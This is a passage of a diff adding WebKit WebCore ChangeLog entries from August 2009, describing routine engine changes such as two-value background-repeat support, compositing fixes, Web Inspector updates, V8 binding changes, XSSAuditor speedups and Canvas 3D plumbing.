+        (WebCore::SVGImage::dataChanged):
+        * xml/XSLImportRule.cpp:
+        (WebCore::XSLImportRule::loadSheet):
+        * xml/XSLTProcessor.cpp:
+        (WebCore::docLoaderFunc):
+        Adapt to the change everywhere the single argument constructor was used. I did a very
+        cursory check of whether these locations were using this constructor properly, and didn't
+        notice any obvious mistakes. The new explicit name will hopefully suggest checking this
+        better when refactoring any such code.
+
+2009-08-31  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=28635 [CSS3 
+        Backgrounds and Borders] Add support for 2-keyword values for 
+        background-repeat
+
+        This patch allows background-repeat to take two values by making 
+        background-repeat just like background-position internally. There 
+        is a little extra legwork for background-repeat because the spec 
+        indicates that its computed value should be equivalent to how it 
+        was specified. I keep track of the specified thing by setting the 
+        implicit flag whenever background-repeat is defined with only one 
+        value (since internally, we now store this as 2 values.)
+        
+        Here we can't access the implicit flag, so for backwards-
+        compatibility's sake, we always return one value when that makes 
+        sense.
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::fillRepeatToCSSValue):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+
+        Here we check for the implicit flag and return one value when it is 
+        set.
+        * css/CSSMutableStyleDeclaration.cpp:
+        (WebCore::CSSMutableStyleDeclaration::getPropertyValue):
+        (WebCore::CSSMutableStyleDeclaration::getLayeredShorthandValue):
+        (WebCore::CSSMutableStyleDeclaration::cssText):
+
+        Add support for CSSPropertyBackgroundRepeatX and 
+        CSSPropertyBackgroundRepeatY
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+        (WebCore::CSSParser::parseFillShorthand):
+        (WebCore::CSSParser::parseFillRepeat):
+        (WebCore::CSSParser::parseFillProperty):
+        * css/CSSParser.h:
+
+        Get rid of mappings to RepeatXFill and RepeatYFill since we don't 
+        need those parts of the EFillRepeat enum anymore.
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        (WebCore::CSSPrimitiveValue::operator EFillRepeat):
+
+        Add CSSPropertyBackgroundRepeatX and CSSPropertyBackgroundRepeatY
+        * css/CSSPropertyLonghand.cpp:
+        (WebCore::initShorthandMap):
+
+        Add background-repeat-x and -y.
+        * css/CSSPropertyNames.in:
+
+        Break repeat into x and y.
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+        (WebCore::CSSStyleSelector::mapFillRepeatX):
+        (WebCore::CSSStyleSelector::mapFillRepeatY):
+        * css/CSSStyleSelector.h:
+
+        There is no more RepeatXFill. Instead, look for 
+        fillLayer->repeatX() == RepeatFill
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::calculateBackgroundImageGeometry):
+
+        Break m_repeat into m_repeatX and m_repeatY
+        * rendering/style/FillLayer.cpp:
+        (WebCore::FillLayer::FillLayer):
+        (WebCore::FillLayer::operator=):
+        (WebCore::FillLayer::operator==):
+        (WebCore::FillLayer::fillUnsetProperties):
+        (WebCore::FillLayer::cullEmptyLayers):
+        * rendering/style/FillLayer.h:
+        (WebCore::FillLayer::repeatX):
+        (WebCore::FillLayer::repeatY):
+        (WebCore::FillLayer::isRepeatXSet):
+        (WebCore::FillLayer::isRepeatYSet):
+        (WebCore::FillLayer::setRepeatX):
+        (WebCore::FillLayer::setRepeatY):
+        (WebCore::FillLayer::clearRepeatX):
+        (WebCore::FillLayer::clearRepeatY):
+        (WebCore::FillLayer::initialFillRepeatX):
+        (WebCore::FillLayer::initialFillRepeatY):
+
+        Again, break backgroundRepeat into backgroundRepeatX and 
+        backgroundRepeatY
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::backgroundRepeatX):
+        (WebCore::InheritedFlags::backgroundRepeatY):
+        (WebCore::InheritedFlags::maskRepeatX):
+        (WebCore::InheritedFlags::maskRepeatY):
+
+        We don't need RepeatXFill or RepeatYFill. Now that we store two 
+        values, they are represented by Repeat-NoRepeat and NoRepeat-
+        Repeat, respectively.
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2009-08-31  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Compositing layer size needs to take into account software reflections on children.
+        https://bugs.webkit.org/show_bug.cgi?id=28837
+        
+        When computing the bounds of a composited layer, take software-rendered
+        reflections into account.
+
+        Test: compositing/reflections/reflection-in-composited.html
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
+
+2009-08-31  Mark Mentovai  <mark@chromium.org>
+
+        Reviewed by Dave Hyatt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28614
+
+        Perform a layout prior to checking whether the scrollbar modes are
+        off, on, or automatic.  The modes may change during layout.
+
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::updateScrollbars):
+
+2009-08-31  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector Request Headers Should Show Data Sent With Request
+        https://bugs.webkit.org/show_bug.cgi?id=22920
+
+        Manual test added - see below.
+
+        * English.lproj/localizedStrings.js:
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::updateRequest):
+        (WebCore::InspectorResource::createScriptObject):
+        (WebCore::InspectorResource::updateScriptObject):
+        * inspector/InspectorResource.h:
+        * inspector/front-end/Resource.js:
+        (WebInspector.Resource):
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView):
+        (WebInspector.ResourceView.prototype._refreshURL):
+        (WebInspector.ResourceView.prototype._refreshQueryString):
+        (WebInspector.ResourceView.prototype._refreshFormData):
+        (WebInspector.ResourceView.prototype._refreshRequestPayload):
+        (WebInspector.ResourceView.prototype._refreshParms):
+        (WebInspector.ResourceView.prototype._toggleURLdecoding):
+        (WebInspector.ResourceView.prototype._getHeaderValue):
+        (WebInspector.ResourceView.prototype._refreshRequestHeaders):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector.addResource):
+        (WebInspector.updateResource):
+        * manual-tests/inspector/display-form-data.html: Added.
+
+2009-08-31  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: pass call frames into the frontend as a part of
+        pausedScript event.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28847
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didPause):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::pausedScript):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.debuggerPaused):
+        * inspector/front-end/inspector.js:
+        (WebInspector.pausedScript):
+
+2009-08-31  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        [Qt] Un-blacklist Silverlight on Mac
+
+        Does not seem to crash anymore, probably due to how we now handle
+        drawing and event model handshake better.
+
+        * plugins/mac/PluginPackageMac.cpp:
+        (WebCore::PluginPackage::isPluginBlacklisted):
+
+2009-08-31  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28827
+        SVGSVGElement.unsuspendRedraw() shouldn't throw
+
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::unsuspendRedraw):
+        * svg/SVGSVGElement.h:
+        * svg/SVGSVGElement.idl:
+
+2009-08-31  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        - Change the reutrn type of HTMLInputElement::list so that it
+          conforms to the standard.
+        - Add HTMLInputElement::dataList()
+        https://bugs.webkit.org/show_bug.cgi?id=28769
+
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::list):
+        (WebCore::HTMLInputElement::dataList):
+        (WebCore::HTMLInputElement::selectedOption):
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl:
+
+2009-08-31  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        Remove ASSERT(frame) in ResourceHandle::start (ResourceHandleCurl.cpp)
+        https://bugs.webkit.org/show_bug.cgi?id=28802
+
+        Remove ASSERT because the frame could be null if the
+        ResourceHandle is not associated with any frame, e.g. if we are
+        downloading a file.
+        If the frame is not null but the page is null this must be an
+        attempted load from an onUnload handler, so let's just block it.
+
+        * platform/network/curl/ResourceHandleCurl.cpp:
+        (WebCore::ResourceHandle::start):
+
+2009-08-31  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Build fix for platforms which don't enable DOM_STORAGE.
+        https://bugs.webkit.org/show_bug.cgi?id=28834
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate):
+
+2009-08-29  Adele Peterson  <adele@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=28829
+        Crash in AccessibilityRenderObject::activeDescendant when trying to set aria-activedescendant to something without a renderer
+
+        Test: accessibility/aria-activedescendant-crash.html
+
+        * accessibility/AccessibilityRenderObject.cpp: (WebCore::AccessibilityRenderObject::activeDescendant): Nil check.
+
+2009-08-28  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Gtk Build broken for OSX Quartz
+        https://bugs.webkit.org/show_bug.cgi?id=28727
+
+        Check for XP_UNIX instead of GTK or X11 to ease building of the Gtk
+        port in Mac and Unix/Linux.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::PluginView):
+        * plugins/PluginView.h:
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::setNPWindowIfNeeded):
+        (WebCore::PluginView::getValueStatic):
+        (WebCore::PluginView::getValue):
+        (WebCore::PluginView::init):
+
+2009-08-28  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix positioning error when a compositing, absolutely-positioned element has an ancestor with opacity.
+        https://bugs.webkit.org/show_bug.cgi?id=28754
+        
+        For absolutely-positioned layers, convertToLayerCoords() jumps to the positioned
+        ancestor, since the layer x and y are relative to that ancestor. However, this could
+        skip over the ancestorLayer, thus giving the wrong result.
+        
+        Fix by duplicating the enclosingPositionedAncestor() logic in convertToLayerCoords(),
+        and checking for ancestorLayer along the way. If found, compute offset of both to
+        the enclosingPositionedAncestor() and subtract.
+        
+        This also fixes a positioning bug with abs. positioned elements in reflections,
+        so there is a new reflection test with a pixel result.
+
+        Tests: compositing/geometry/abs-position-inside-opacity.html
+               fast/reflections/abs-position-in-reflection.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::isPositionedContainer):
+        (WebCore::RenderLayer::enclosingPositionedAncestor):
+        (WebCore::RenderLayer::enclosingTransformedAncestor):
+        (WebCore::RenderLayer::convertToLayerCoords):
+
+2009-08-28  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Mark Rowe
+
+        Wrap WebkitCSSTransformValues in the correct class of DOM wrapper.
+        https://bugs.webkit.org/show_bug.cgi?id=27727
+
+        When fetching the DOM wrapper for a WebkitCSSTransformValue (which is a kind of 
+        CSSValueList), we need to ask the value list whether it's a WebkitCSSTransformValue,
+        because there is not a unique enum value for WebkitCSSTransformValue.
+
+        * bindings/objc/DOMCSS.mm:
+        (kitClass):
+
+2009-08-28  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Jan Michael Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28308
+        Fix some warnings introduced by r47381.
+
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::convertCMYKToRGBA):
+        (WebCore::convertRGBToRGBA):
+
+2009-08-28  Ada Chan  <adachan@apple.com>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=21442
+        Make sure filesystemPathFromUrlOrTitle() returns a string with length
+        <= MAX_PATH - 1.
+
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::filesystemPathFromUrlOrTitle):
+
+2009-08-28  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Adding Chromium's VFS for Linux and Mac.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28750
+
+        * WebCore.gypi:
+        * platform/chromium/ChromiumBridge.h:
+        * platform/sql/chromium/SQLiteFileSystemChromium.cpp:
+        (WebCore::SQLiteFileSystem::openDatabase):
+        (WebCore::SQLiteFileSystem::deleteDatabaseFile):
+        * platform/sql/chromium/SQLiteFileSystemChromiumLinux.cpp: Removed.
+        * platform/sql/chromium/SQLiteFileSystemChromiumMac.cpp: Removed.
+        * platform/sql/chromium/SQLiteFileSystemChromiumPosix.cpp: Added.
+        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp:
+
+2009-08-28  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Made bindings use Node::setOnEvent functions for Node descendants
+        instead of Node::setAttributeEventListener.
+
+        Node::setAttributeEventListener is an internal function and
+        doesn't do the forwarding to DOM window that is required for some
+        HTML elements.
+        https://bugs.webkit.org/show_bug.cgi?id=28709
+
+        Tests added in http://trac.webkit.org/changeset/47326 now pass with V8.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        Now generates EventListener accessors for Node descendants instead
+        of using custom callbacks.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getEventListener): Moved from V8NodeCustom.cpp.
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::convertEventListenerToV8Object): Fixed a bug in
+        signature.
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::createHiddenDependency):
+        (WebCore::removeHiddenDependency):
+        Changed signature to accept Handle instead of Local.
+        * bindings/v8/V8Utilities.h:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        Removed custom callbacks for EventListener accessors.
+
+2009-08-28  Ben Murdoch  <benm@google.com>
+
+        https://bugs.webkit.org/show_bug.cgi?id=28803
+        
+        Implements V8CustomVoidCallback reporting any exceptions that were thrown from the callback function.
+
+        * bindings/v8/custom/V8CustomVoidCallback.cpp:
+        (WebCore::invokeCallback): Checks if the callback raised an exception and reports it to WebCore if so.
+
+2009-08-28  Peter Kasting  <pkasting@google.com>
+
+        Not reviewed (build fix).
+
+        * platform/graphics/qt/ImageDecoderQt.cpp: Accidentally added some spaces.
+        (WebCore::ImageDecoder::create):
+        (WebCore::ImageDecoderQt::ImageDecoderQt):
+        * platform/graphics/qt/ImageDecoderQt.h: Make constructor public so factory function can access it (this seemed better than making ImageDecoder a friend).
+
+2009-08-28  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27965
+        Move ImageDecoder creation function to a factory function on
+        ImageDecoder.  This is arguably where it makes the most sense anyway,
+        and it will (soon) allow ImageSourceQt.cpp to have one less dedicated
+        function.
+
+        * platform/graphics/ImageSource.cpp:
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoder::create):
+        * platform/graphics/qt/ImageDecoderQt.h:
+        * platform/graphics/qt/ImageSourceQt.cpp:
+        (WebCore::ImageSource::setData):
+        * platform/image-decoders/ImageDecoder.cpp:
+        * platform/image-decoders/ImageDecoder.h:
+
+2009-08-28  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28785
+        Combine duplicated code from ImageDecoder*.cpp into the main
+        ImageDecoder.cpp.
+
+        * platform/image-decoders/ImageDecoder.cpp:
+        (WebCore::RGBA32Buffer::RGBA32Buffer):
+        (WebCore::RGBA32Buffer::clear):
+        (WebCore::RGBA32Buffer::zeroFill):
+        (WebCore::RGBA32Buffer::copyBitmapData):
+        (WebCore::RGBA32Buffer::setSize):
+        (WebCore::RGBA32Buffer::hasAlpha):
+        (WebCore::RGBA32Buffer::setHasAlpha):
+        (WebCore::RGBA32Buffer::setStatus):
+        (WebCore::RGBA32Buffer::operator=):
+        (WebCore::RGBA32Buffer::width):
+        (WebCore::RGBA32Buffer::height):
+        * platform/image-decoders/cairo/ImageDecoderCairo.cpp:
+        * platform/image-decoders/haiku/ImageDecoderHaiku.cpp:
+        * platform/image-decoders/wx/ImageDecoderWx.cpp:
+
+2009-08-28  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Holger Freyther.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25889
+        [GTK] scrollbar policy for main frame is not implementable
+
+        Override setScrollbarModes to correctly forward scrollbar modes
+        policy changes to client code, via a new platform-specific method,
+        scrollbarsPolicyDidChange.
+
+        * page/ChromeClient.h:
+        (WebCore::ChromeClient::scrollbarsPolicyDidChange):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::createScrollbar):
+        * platform/ScrollView.h:
+        * platform/gtk/ScrollViewGtk.cpp:
+        (WebCore::ScrollView::setScrollbarModes):
+
+2009-08-28  Cédric Luthi <cedric.luthi@gmail.com>
+
+        Reviewed by Tor Arne Vestbø
+
+        [Qt/Mac] Un-blacklist the QuickTime plugin
+
+        https://bugs.webkit.org/show_bug.cgi?id=28768
+
+        Now that the drawing model is properly negotiated, there is no need the
+        blacklist the QuickTime plugin anymore.
+
+        This revealed a bug in PluginView::performRequest: it should not initiate a
+        request if the plugin has been stopped, which is what happens when a plugin
+        only supports the QuickDraw drawing model.
+
+        * plugins/PluginView.cpp:
+        * plugins/mac/PluginPackageMac.cpp:
+
+2009-08-28  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Set DOM agent document to 0 in InspectorController::close to
+        make DOM agent remove DOM listeners from the inspected document.
+
+        Replace windowVisible checks with m_frontend checks to as inspector
+        window lives in a different process in Chromium while frontend proxy
+        is in the inspected page process.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28800
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::inspect):
+        (WebCore::InspectorController::addConsoleMessage):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::pruneResources):
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::didLoadResourceFromMemoryCache):
+        (WebCore::InspectorController::identifierForInitialRequest):
+        (WebCore::InspectorController::willSendRequest):
+        (WebCore::InspectorController::didReceiveResponse):
+        (WebCore::InspectorController::didReceiveContentLength):
+        (WebCore::InspectorController::didFinishLoading):
+        (WebCore::InspectorController::didFailLoading):
+        (WebCore::InspectorController::resourceRetrievedByXMLHttpRequest):
+        (WebCore::InspectorController::scriptImported):
+        (WebCore::InspectorController::didOpenDatabase):
+        (WebCore::InspectorController::didUseDOMStorage):
+        (WebCore::InspectorController::addProfile):
+        * inspector/InspectorController.h:
+
+2009-08-28  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Remove dependency of SummaryBar on WebInspector.resourceCategories.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28801
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel):
+        (WebInspector.ResourcesPanel.prototype.toolbarItemClass.get categories):
+        * inspector/front-end/SummaryBar.js:
+        (WebInspector.SummaryBar):
+        (WebInspector.SummaryBar.prototype.update):
+
+2009-08-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed (patching in l18n change that was missing due to
+        the git binary diff format).
+
+        https://bugs.webkit.org/show_bug.cgi?id=28429
+
+        * English.lproj/localizedStrings.js:
+
+2009-08-28  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Make XSSAuditor go fast
+        https://bugs.webkit.org/show_bug.cgi?id=28667
+
+        Make the XSSAuditor go faster by implementing two optimizations:
+
+        1) We avoid canonicalizing scripts that are larger than the page's URL.
+           This saves a bunch of time for large inline scripts.
+
+        2) We memoize canonicalizing the page's URL because it's silly to
+           canonicalize repeated for each inline event listener.
+
+        These optimizations have a measurable affect on the intl1 page cycler.
+
+        No behavior change.
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::MemoizingURLCanonicalizer::canonicalizeURL):
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
+        (WebCore::XSSAuditor::canCreateInlineEventListener):
+        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
+        (WebCore::XSSAuditor::canLoadObject):
+        (WebCore::XSSAuditor::canSetBaseElementURL):
+        (WebCore::XSSAuditor::decodeURL):
+        (WebCore::XSSAuditor::findInRequest):
+        * page/XSSAuditor.h:
+
+2009-08-27  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        Removed ASSERT_NOT_REACHED, because indeed this ASSERT is reached in
+        fast/canvas/change-context.html. And it's alright to reach it.
+
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Removed assertion.
+
+2009-08-27  Jeremy Orlow  <jorlow@chromium.org>
+
+        Not reviewed.  Build fix for http://trac.webkit.org/changeset/47840
+
+        Peter's change forgot one m_decoder->
+
+        * platform/graphics/ImageSource.cpp:
+        (WebCore::ImageSource::frameSizeAtIndex):
+
+2009-08-27  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [V8] Add NULL-check, since the context ain't changeable no more, and
+        thus getContext could return 0.
+
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL): Added NULL-check.
+
+2009-08-27  Noel Gordon  <noel.gordon@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        dataTransfer.types() should include type "Files" when files are present in the clipboard.
+        https://bugs.webkit.org/show_bug.cgi?id=28780
+
+        Add dataTransfer type "Files" to the chromium port.  Add eseidel's
+        patch for same for the mac port.
+
+        * platform/chromium/ClipboardChromium.cpp:
+
+2009-08-27  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Removed GL_ from all constants, and gl prefix from all calls
+        https://bugs.webkit.org/show_bug.cgi?id=28773
+
+        This was done for the external API in CanvasRenderingContext3D and
+        the internal API in GraphicsContext3D.
+
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        * html/canvas/CanvasRenderingContext3D.h:
+        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
+        * html/canvas/CanvasRenderingContext3D.idl:
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+
+2009-08-27  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Qt and Gtk build fixes. Not reviewed.
+
+        Add CanvasRenderingContext3D.idl to the build scripts.
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+
+2009-08-27  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Release the storage mutex whenever leaving JavaScript execution.
+        https://bugs.webkit.org/show_bug.cgi?id=28789
+
+        http://dev.w3.org/html5/spec/Overview.html#storage-mutex describes the
+        required behavior.  After we leave JavaScript, we must be sure the storage
+        mutex has been released.  At the end of evaluate(), if localStorage has been
+        instantiated, tell it to release any locks that may be applicable.
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluate):
+
+2009-08-27  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28753
+        <rdar://problem/7173448> Excessive number of threads (and a crash)
+
+        Coalesce DNS prefetch requests to reduce strain on CFHost. Currently, the algorithm is as follows:
+        - when resolver is idle, the first few requests are sent immediately (they may or may not
+        hit the wire);
+        - if there are a few requests in flight already, coalesce all requests for one second;
+        - to avoid pathological cases with lots of links to different sites on a page, only ask
+        CFHost about a handful of names (dropping the rest).
+
+        Coalescing reduces the number of requests dramatically, as prefetchDNS is called for each
+        link, and these tend to have identical host name.
+
+        * platform/network/cf/DNSCFNet.cpp:
+        (WebCore::DNSResolveQueue::DNSResolveQueue):
+        (WebCore::DNSResolveQueue::shared):
+        (WebCore::DNSResolveQueue::add):
+        (WebCore::DNSResolveQueue::decrementRequestCount):
+        (WebCore::DNSResolveQueue::fired):
+        (WebCore::clientCallback):
+        (WebCore::DNSResolveQueue::resolve):
+        (WebCore::prefetchDNS):
+
+2009-08-27  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Final patch for Canvas 3D support
+        https://bugs.webkit.org/show_bug.cgi?id=28018
+
+        This hooks everything up and provides a working implementation of
+        Canvas 3D. I plumb the creation of the 3D canvas down to GraphicsLayer,
+        passing the opaque context and texture pointers so a Canvas3DLayer can be
+        created (more on that later). It also plumbs changes to the 3D canvas so
+        that Canvas3DLayer can recomposite the results.
+        
+        A 3D Canvas element needs a RenderLayer and compositing layer to render.
+        This is because it renders to an off-screen texture in the GPU and then
+        hands it to a Canvas3DLayer, which is a subclass of CAOpenGLLayer, to
+        render that texture as a 3D quad. This keeps everything in GPU memory to 
+        maximize performance. When a CanvasRenderingContext3D is created it 
+        forces a style recalc which creates the RenderLayer and compositing 
+        layer if needed. 
+        
+        I repurposed an existing flag which was put in place for animation to accomplish 
+        this. This flag is passed to setNeedsStyleRecalc(), and I renamed it from 
+        AnimationStyleChange to SyntheticStyleChange. It essentially says that you need
+        to do a complete style recalc, even though the style itself has not really
+        changed.
+        
+        This patch also fixes a couple of bugs discovered when testing with 3d-canvas
+        turned on. I also added a constructor DOMWindow.idl for CanvasRenderingContext3D.
+        This is needed when making a JS wrapper for the object so the prototype 
+        property can be set.
+
+        Test: fast/canvas/change-context.html
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
+        (WebCore::JSCanvasRenderingContext3D::glDrawElements):
+        * bindings/js/JSCanvasRenderingContextCustom.cpp:
+        (WebCore::toJS):
+        * dom/Element.cpp:
+        (WebCore::Element::recalcStyle):
+        * dom/Node.cpp:
+        (WebCore::Node::setNeedsStyleRecalc):
+        * dom/Node.h:
+        (WebCore::):
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext):
+        (WebCore::HTMLCanvasElement::is3D):
+        * html/HTMLCanvasElement.h:
+        * html/canvas/CanvasBuffer.cpp:
+        (WebCore::CanvasBuffer::create):
+        (WebCore::CanvasBuffer::CanvasBuffer):
+        (WebCore::CanvasBuffer::_deleteObject):
+        * html/canvas/CanvasBuffer.h:
+        * html/canvas/CanvasFramebuffer.cpp:
+        (WebCore::CanvasFramebuffer::create):
+        (WebCore::CanvasFramebuffer::CanvasFramebuffer):
+        (WebCore::CanvasFramebuffer::_deleteObject):
+        * html/canvas/CanvasFramebuffer.h:
+        * html/canvas/CanvasObject.cpp:
+        (WebCore::CanvasObject::CanvasObject):
+        (WebCore::CanvasObject::~CanvasObject):
+        (WebCore::CanvasObject::deleteObject):
+        * html/canvas/CanvasObject.h:
+        (WebCore::CanvasObject::context):
+        * html/canvas/CanvasProgram.cpp:
+        (WebCore::CanvasProgram::create):
+        (WebCore::CanvasProgram::CanvasProgram):
+        (WebCore::CanvasProgram::_deleteObject):
+        * html/canvas/CanvasProgram.h:
+        * html/canvas/CanvasRenderbuffer.cpp:
+        (WebCore::CanvasRenderbuffer::create):
+        (WebCore::CanvasRenderbuffer::CanvasRenderbuffer):
+        (WebCore::CanvasRenderbuffer::_deleteObject):
+        * html/canvas/CanvasRenderbuffer.h:
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        (WebCore::CanvasRenderingContext3D::createBuffer):
+        (WebCore::CanvasRenderingContext3D::createFramebuffer):
+        (WebCore::CanvasRenderingContext3D::createTexture):
+        (WebCore::CanvasRenderingContext3D::createProgram):
+        (WebCore::CanvasRenderingContext3D::createRenderbuffer):
+        (WebCore::CanvasRenderingContext3D::createShader):
+        * html/canvas/CanvasRenderingContext3D.h:
+        (WebCore::CanvasRenderingContext3D::graphicsContext3D):
+        * html/canvas/CanvasShader.cpp:
+        (WebCore::CanvasShader::create):
+        (WebCore::CanvasShader::CanvasShader):
+        (WebCore::CanvasShader::_deleteObject):
+        * html/canvas/CanvasShader.h:
+        * html/canvas/CanvasTexture.cpp:
+        (WebCore::CanvasTexture::create):
+        (WebCore::CanvasTexture::CanvasTexture):
+        (WebCore::CanvasTexture::_deleteObject):
+        * html/canvas/CanvasTexture.h:
+        * page/DOMWindow.idl:
+        * page/animation/AnimationBase.cpp:
+        (WebCore::AnimationBase::setNeedsStyleRecalc):
+        * page/animation/AnimationController.cpp:
+        (WebCore::AnimationControllerPrivate::updateAnimationTimer):
+        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
+        (WebCore::AnimationControllerPrivate::pauseAnimationAtTime):
+        (WebCore::AnimationControllerPrivate::pauseTransitionAtTime):
+        (WebCore::AnimationController::cancelAnimations):
+        * platform/graphics/GraphicsContext3D.h:
+        (WebCore::GraphicsContext3D::platformGraphicsContext3D):
+        (WebCore::GraphicsContext3D::platformTexture):
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::setContentsToGraphicsContext3D):
+        (WebCore::GraphicsLayer::setGraphicsContext3DNeedsDisplay):
